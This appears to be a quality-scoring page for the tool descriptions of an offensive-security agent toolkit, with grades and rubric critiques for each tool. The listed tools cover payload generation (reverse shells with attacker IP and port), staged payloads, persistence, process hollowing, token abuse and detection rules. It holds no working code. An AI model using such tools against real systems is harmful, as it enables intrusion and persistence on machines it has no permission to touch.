Without an output schema, the description should explain what results look like. The tool has 2 parameters, yet the description only lists categories. The agent lacks context on return values or how to interpret findings.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so baseline is 3. The description adds value by listing the mode categories (impersonation, C2, relay, discovery), which helps interpret the enum values. This is a meaningful addition beyond the schema's generic description.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description 'Find named pipe abuse techniques — impersonation, C2 channels, relay, and discovery' clearly states the verb 'find' and the resource 'named pipe abuse techniques', listing specific categories. This distinguishes it from sibling tools like find_token_abuse or find_defense_evasion.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description provides no guidance on when to use this tool versus alternatives. It does not mention prerequisites, context, or limitations. With many sibling 'find_*' tools, the agent receives no decision support.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
find_native_cryptoB
Find native cryptographic and encoding techniques using LOL binaries — certutil, openssl, gpg, base64, PowerShell.
| Name | Required | Description | Default |
|---|---|---|---|
| platform | No | Target platform for cryptographic techniques | all |
| operation | No | Cryptographic operation to search for | encode |
| target_binary | No | Specific binary to search for cryptographic capabilities |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries full burden. It discloses no behavioral traits such as whether the tool modifies state, requires authentication, or returns a list vs. detailed info. The description is purely declarative.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Single sentence with no fluff; front-loaded with verb and purpose. Every word serves a purpose.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The description lacks details on output format, search behavior, or parameter interactions. For a tool with no output schema, more context is needed for effective use.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema covers all parameters (100%), so baseline is 3. The description adds no additional parameter meaning beyond listing example binaries; it does not elaborate on how parameters like 'platform' or 'operation' interact.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description uses a specific verb ('Find') and resource ('native cryptographic and encoding techniques'), names example binaries, and clearly differentiates from sibling tools focused on other attack techniques.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies the tool is for situations requiring native crypto/encoding techniques, but provides no explicit when-to-use or when-not-to-use guidance, nor mentions alternatives among siblings.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
find_package_manager_abuseA
Find package manager abuse techniques — npm lifecycle hooks, pip setup.py, gem hooks, cargo build scripts.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | No | Package manager to search for abuse techniques | all |
| target_registry | No | Target package registry URL |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description must disclose behavioral traits. It only states the find operation and examples, omitting whether it is read-only, requires authentication, has rate limits, or what the output format is. This is minimal transparency.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single, well-structured sentence that immediately communicates the tool's purpose and key examples. Every word contributes value with no redundancy.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The description is adequate for a simple query tool but lacks details on what constitutes 'abuse techniques', how results are returned, and any prerequisites. With no output schema, the agent has limited understanding of the tool's full behavior.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%; both 'mode' and 'target_registry' have clear descriptions in the schema. The tool description adds the examples of techniques (e.g., 'npm lifecycle hooks') which provide context for the mode values, but does not add significant new meaning beyond the schema.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool finds 'package manager abuse techniques' and lists specific examples (npm lifecycle hooks, pip setup.py, gem hooks, cargo build scripts), directly distinguishing it from sibling tools that focus on other abuse types like token abuse or named pipe abuse.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No explicit guidance on when to use this tool vs alternatives is provided. Usage is implied by the purpose: if investigating package manager abuse, this tool is appropriate. However, there is no mention of when not to use or comparison to sibling tools.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
find_persistence_pathsA
Find persistence mechanisms using LOL binaries — cron jobs, services, registry keys, startup items, launch agents, scheduled tasks, and DLL persistence.
| Name | Required | Description | Default |
|---|---|---|---|
| environment_id | Yes | Environment session ID returned by enumerate_host | |
| mechanism_type | No | Type of persistence mechanism to search for | all |
| survive_reboot | No | Only include mechanisms that survive reboot | |
| assume_privilege | No | Privilege level to assume post-escalation (e.g. root, SYSTEM) |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description carries the full burden. It states what the tool does but does not disclose behavioral traits such as whether it is read-only, required privileges, or side effects. No contradictions exist.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single concise sentence that front-loads the purpose. It could be improved with structured bullet points, but it is efficient and focused.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given 4 parameters, full schema coverage, and no output schema, the description covers the scope but lacks workflow context (e.g., requiring environment_id from enumerate_host) and does not describe the return format.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%, so the schema already documents all parameters. The description adds no significant meaning beyond the schema, listing mechanism types that are also in the enum.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool finds persistence mechanisms using LOL binaries and lists specific types (cron jobs, services, etc.), which distinguishes it from sibling tools like find_initial_access or find_lateral_movement.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description lists the types of persistence mechanisms, giving implicit context for when to use it, but does not explicitly state when to use it versus alternatives, nor does it mention prerequisites like running enumerate_host first.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
find_process_manipulationB
Find process manipulation techniques — parent PID spoofing, process hollowing, LOL binary injection, doppelganging, herpaderping
| Name | Required | Description | Default |
|---|---|---|---|
| mode | No | Type of process manipulation technique to search for | all |
| environment_id | No | Environment session ID returned by enumerate_host |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, and the description lacks details about tool behavior such as output format, side effects, or whether data is read-only. The agent gets minimal insight beyond the function's purpose.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single, front-loaded sentence with no filler. Every word carries weight, listing key techniques clearly.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
With two parameters and no output schema, the description is too brief. It does not explain how results are returned, the role of environment_id, or what 'find' operation entails. Missing critical context for effective use.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so parameters are already documented. The description adds no extra meaning beyond the schema definitions, achieving baseline adequacy.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the verb 'Find' and the resource 'process manipulation techniques', listing specific subtypes (parent PID spoofing, hollowing, etc.), which distinguishes it from sibling tools.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies usage for finding those techniques but provides no explicit guidance on when to use this versus alternatives like find_token_abuse or find_defense_evasion.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
find_rmm_abuseB
Find RMM (Remote Monitoring & Management) tool abuse techniques — installed tool check, persistence paths, detection artifacts, lateral pivoting, silent installation.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | No | RMM analysis mode | check_installed |
| rmm_tools | No | List of installed RMM tools to check | |
| target_rmm | No | Specific RMM tool for silent install | |
| environment_id | No | Environment session ID |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description must carry full burden. It describes the tool as finding techniques but does not disclose behavioral traits such as whether it is read-only, requires credentials, or modifies system state.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single concise sentence that efficiently lists the tool's scope. No wasted words.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool has 4 parameters and no output schema, the description lacks information about return values, how to use parameters, or any prerequisites. It is minimal for the tool's complexity.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%, so baseline is 3. The description lists technique categories that correspond to the mode enum, adding some context but not significantly beyond what the schema already provides.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool finds RMM abuse techniques and lists specific categories like installed tool check, persistence paths, etc. It distinguishes from siblings by focusing specifically on RMM, which is a unique subject.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No explicit guidance on when to use this tool versus alternatives. It only describes what it does, with no context about when it is appropriate or when to choose other tools.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
find_token_abuseB
Analyze Windows token privileges in an enumerated environment and map them to known abuse techniques, potato attacks, and LOL binaries for privilege escalation.
| Name | Required | Description | Default |
|---|---|---|---|
| token_type | No | Filter by token type: specific privilege, 'duplicate' for token duplication techniques, 'privilege_map' for full mapping, or 'all' for everything | |
| environment_id | Yes | Environment session ID returned by enumerate_host |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries the full burden of disclosing behavioral traits. It states that the tool 'analyzes' and 'maps', which suggests it is read-only and non-destructive, but does not explicitly confirm this or mention any side effects, authentication needs, or limits. For a tool with no annotations, this is insufficient transparency.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single sentence that effectively communicates the tool's purpose and scope without extraneous words. It is front-loaded with the core action and resource, though it could be slightly improved by splitting into two sentences for readability.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool's complexity (2 parameters, no output schema), the description covers the core functionality but lacks details about return format, data sources for mapping, or prerequisites beyond environment_id. Sibling tools context is similar, so some additional context on expected output would improve completeness.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The input schema has 100% coverage with clear descriptions for both parameters (environment_id and token_type). The description does not add significant new meaning beyond the schema, as it only restates that token privileges are analyzed. Baseline of 3 is appropriate since the schema already provides the necessary parameter semantics.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool analyzes Windows token privileges and maps them to abuse techniques, potato attacks, and LOL binaries for privilege escalation. It uses specific verbs ('analyze', 'map') and resources ('token privileges', 'abuse techniques'), and distinguishes from sibling tools like 'find_escalation_paths' or 'find_com_abuse' by focusing specifically on token privileges.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies usage after enumeration ('in an enumerated environment'), but does not explicitly specify when to use this tool over alternatives or provide any when-not-to-use guidance. There is no mention of prerequisites or exclusions, though the requirement of an environment_id is clear.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
find_wmi_abuseC
Find WMI abuse techniques — persistence via event subscriptions, lateral movement, process execution, reconnaissance.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | No | WMI abuse mode to search for | all |
| environment_id | No | Environment session ID returned by enumerate_host |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
The description only lists technique categories and does not disclose behavioral traits such as whether the tool is read-only, requires credentials, or has any side effects. With no annotations, the description should provide more transparency.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single sentence that is front-loaded with the verb and resource, making it efficient and easy to parse. Every word contributes value.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The description does not explain what the tool returns (e.g., list of findings, structured data) or any additional context like prerequisites. Given the absence of an output schema, this is a significant gap for a search tool.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The input schema has 100% coverage with descriptions for both parameters. The tool description adds no additional meaning beyond that, so it meets the baseline but does not enhance understanding.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool finds WMI abuse techniques and lists categories like persistence, lateral movement, etc. It uses a specific verb and resource, distinguishing it from general tools, but does not explicitly differentiate from similar 'find_*' siblings.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance is provided on when to use this tool versus alternatives. There is no mention of when not to use it or what other tools might be more appropriate for specific tasks.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
generate_detectionB
Generate detection rules and tests for LOL techniques — Sigma rules, YARA rules, Sysmon config, EDR queries, hunt queries, Atomic Red Team tests.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | Yes | Detection rule type to generate | |
| binary | No | Binary name to generate detection for | |
| attck_id | No | ATT&CK technique ID | |
| edr_product | No | Target EDR for query generation | |
| technique_id | No | LOL technique ID |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided, so description must disclose behavioral traits (e.g., read-only, side effects). It only states what is generated, not how it behaves (e.g., whether it creates files, requires permissions, or is idempotent). Insufficient for safe tool selection.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Extremely concise: one sentence front-loading the main action ('Generate detection rules and tests') and quickly listing supported types. No redundant words, efficient for an agent to parse.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Despite high schema coverage, the lack of annotations and output schema leaves gaps. The description does not explain return format, whether generation is synchronous, or if additional constraints (e.g., binary required for certain modes) exist. Incomplete for a tool with 5 parameters and no output schema.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema descriptions cover 100% of parameters with clear definitions (e.g., mode enum). Description adds no new semantic value beyond summarizing modes already listed in schema. Baseline of 3 is appropriate as schema carries the full parameter explanation.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Clearly states the tool generates detection rules and tests for LOL techniques, listing specific types (Sigma, YARA, Sysmon, etc.). Unambiguous and distinct from sibling tools, which focus on other aspects like discovery or analysis.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance on when to use this tool versus alternatives. It does not mention prerequisites, when not to use it, or context for optimal usage. The description simply lists capabilities without directing the agent.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
generate_payloadC
Generate LOL binary payload information — command execution, reverse shells, bind shells, file read, file write payloads from the knowledge base
| Name | Required | Description | Default |
|---|---|---|---|
| encode | No | Whether to encode the generated payload | |
| context | No | Execution context or privilege level | |
| attacker_ip | No | Attacker IP address for reverse/bind shell payloads | |
| output_file | No | Output file path for file write payloads | |
| target_file | No | Target file path for file read/write payloads | |
| payload_type | Yes | Type of payload to generate | |
| technique_id | Yes | Technique ID to generate payload for | |
| attacker_port | No | Attacker port for reverse/bind shell payloads |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries full burden. It states 'Generate ... payload information,' implying a read-only retrieval from the knowledge base, but it does not disclose mutability, side effects, or resource requirements (e.g., network access). This ambiguity is insufficient for safe invocation.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single, efficient sentence that covers the essential purpose and payload types. It is well-structured and front-loaded, though it could be slightly more organized by separating retrieval vs. generation aspects.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given no output schema and 8 parameters (2 required), the description is too brief. It does not explain the output format (string? object?), how results are returned, or how parameters interact (e.g., attacker_ip + attacker_port needed for shell types). This leaves gaps for proper agent usage.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so baseline is 3. The description lists payload types that align with the payload_type enum, but adds no new meaning beyond the schema descriptions. For instance, it does not clarify how encode or context affect output.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool generates LOL binary payload information, listing specific payload types (command execution, reverse shells, etc.), which distinguishes it from sibling tools like obfuscate_payload or generate_staged_payload. However, it does not explicitly differentiate from other payload-related tools.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance on when to use this tool versus alternatives (e.g., obfuscate_payload, generate_staged_payload). No prerequisites, contexts, or exclusions are mentioned, leaving the agent without decision support for tool selection.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
generate_purple_team_planB
Generate purple team exercise plans — red team plan, blue team detection, validation steps, combined exercise.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | Yes | Purple team mode | |
| objectives | No | Exercise objectives | |
| environment_id | No | Environment session ID |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description is responsible for behavioral disclosure. It only states the tool generates plans but does not mention side effects, permissions needed, return behavior, or whether it is read-only or destructive. This is insufficient.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single sentence that efficiently communicates the tool's purpose and key options. No unnecessary words or repetition.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The description lacks information about return values or output format. Since there is no output schema, the agent does not know what the plan looks like (e.g., text, structured data). Additionally, no behavioral context is given beyond generation.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The input schema has 100% coverage, so baseline is 3. The description adds context by listing the exercise types that map to the 'mode' enum, but provides no additional meaning for 'objectives' or 'environment_id' beyond what the schema already states.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool generates purple team exercise plans and lists the specific modes: red_team plan, blue team detection, validation steps, and combined exercise. This distinguishes it from sibling tools like build_attack_plan or simulate_adversary by focusing on purple team collaboration.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance is provided on when to use this tool over alternatives such as build_attack_plan or assess_detection_gaps. The description does not include prerequisites, exclusions, or context for choosing this tool.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
generate_staged_payloadB
Staged payload techniques — compression, encoding, filesystem hiding, scheduled extraction using native OS tools
| Name | Required | Description | Default |
|---|---|---|---|
| mode | No | Type of staging technique to use | all |
| platform | No | Target platform for staging techniques | |
| data_path | No | Path to data or payload to stage |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided, so description carries full burden. It mentions 'using native OS tools' but does not disclose behavioral traits such as destructive potential, permissions required, or whether it creates files, modifies system, or is safe. Agent lacks critical safety context.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Single sentence that is front-loaded with purpose and techniques. No wasted words, but could be slightly clearer with bullet points. Still efficient.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
No output schema, tool involves complex staged payload techniques (compression, hiding, scheduling). Description does not explain return values, side effects, or execution behavior. Agent likely needs more context to invoke correctly.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema has 100% coverage with descriptions for all 3 parameters. The description adds general context but no additional parameter-level semantics beyond what the schema provides. Baseline 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Description clearly states 'Staged payload techniques' and lists specific techniques (compression, encoding, hiding, scheduling), using a specific verb 'generate' and resource 'staged payload'. This distinguishes it from siblings like 'generate_payload' which likely lacks staging context.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Description implies this tool is for staging payloads, but does not explicitly state when to use it versus alternatives (e.g., generate_payload, obfuscate_payload), nor does it provide when-not or prerequisite guidance. Usage is implied but not clarified.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
identify_techniqueB
Identify LOL technique from forensic evidence — command line analysis, Sysmon events, process trees, EDR alerts.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | Yes | Identification source | |
| command | No | Command line string to analyze | |
| event_id | No | Sysmon event ID | |
| alert_text | No | EDR alert text to analyze | |
| event_data | No | Sysmon event XML/JSON data | |
| process_tree | No | Process tree text (parent->child) |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries full burden. It discloses input types but not behavioral traits such as whether it modifies state, requires special permissions, or returns results. For a query tool, this is acceptable but misses the opportunity to mention output format or limitations.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
A single sentence that efficiently captures the tool's purpose and key input sources. No wasted words, front-loads the action and resource.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the complex domain and many sibling tools, the description is adequate for a basic query tool but lacks details on output (no output schema) and how results relate to ATT&CK or other frameworks present in siblings.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% with descriptions for each parameter. The description adds no new semantics beyond what the schema provides; the mode enum is already clear. The baseline is 3 because the schema is complete.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool identifies LOL techniques from forensic evidence, listing specific sources like command line and Sysmon. It distinguishes from sibling tools that are more specific. However, the term 'LOL' is not explicitly expanded, which might cause ambiguity for some agents.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No explicit guidance on when to use this tool versus alternatives like find_lateral_movement or chain_obfuscation. The description implies it is for analyzing forensic evidence, but does not state when not to use it or provide context for choosing among siblings.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
lookup_binaryB
Look up a binary/tool across all LOL catalogs (GTFOBins, LOLBAS, LOOBins, LOLDrivers, LOLRMM). Returns all known techniques, detection rules, cross-platform equivalents, and chain potential.
| Name | Required | Description | Default |
|---|---|---|---|
| binary | Yes | Binary name (e.g. python, certutil, osascript, dbutil_2_3.sys, anydesk) | |
| platform | No | Filter by platform | all |
| include_related | No | Include cross-platform equivalents and related entries | |
| include_detection | No | Include full detection rules and IOCs |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided. The description implies a read operation (returns data) but does not explicitly state behavioral traits like read-only, network requirements, or authentication needs. It lacks transparency on side effects or limitations.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences, front-loaded with purpose, and no unnecessary words or redundancy. Every sentence adds value.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given no output schema, the description adequately lists what is returned (techniques, detection rules, cross-platform equivalents, chain potential). It is sufficient for a lookup tool but could mention output format or pagination.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so the description adds minimal parameter meaning beyond the schema. It mentions 'binary/tool' but does not elaborate on the parameters' usage or constraints.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool looks up a binary/tool across LOL catalogs and returns techniques, detection rules, cross-platform equivalents, and chain potential. It distinguishes from sibling tools like analyze_binary and discover_chains but doesn't explicitly contrast with them.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance on when to use this tool versus alternatives (e.g., analyze_binary, discover_chains, compare_platforms). The description focuses on what it does but not on context or exclusions.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
map_attckB
Map LOL techniques to MITRE ATT&CK framework — technique lookup, coverage map, Navigator layer export, heatmap, gap analysis.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | Yes | ATT&CK mapping mode | |
| technique_id | No | ATT&CK technique ID (e.g. T1059.006) | |
| tactic_filter | No | Filter by tactic: initial-access, execution, persistence, etc. | |
| environment_id | No | Environment session ID |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided; description lists modes but does not disclose behavioral traits like side effects, authentication needs, or rate limits. Lacks details on safety or required permissions.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Single sentence front-loaded with main purpose and functionalities. No wasted words, concise and clear.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a tool with 4 parameters and no output schema, description lacks details on return values, mode-specific behavior, and prerequisites (e.g., environment_id). Incomplete for multi-mode tool.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema has 100% description coverage; description adds no extra meaning beyond schema's parameter descriptions. Baseline of 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Description clearly states verb 'Map', resource 'LOL techniques to MITRE ATT&CK', and lists specific functionalities (lookup, coverage, Navigator layer export, heatmap, gap analysis), distinguishing it from siblings like map_threat_actor.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Implied usage for mapping LOL techniques to ATT&CK, but no explicit guidance on when to use this vs alternatives (e.g., find_* tools or map_threat_actor).
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
map_threat_actorB
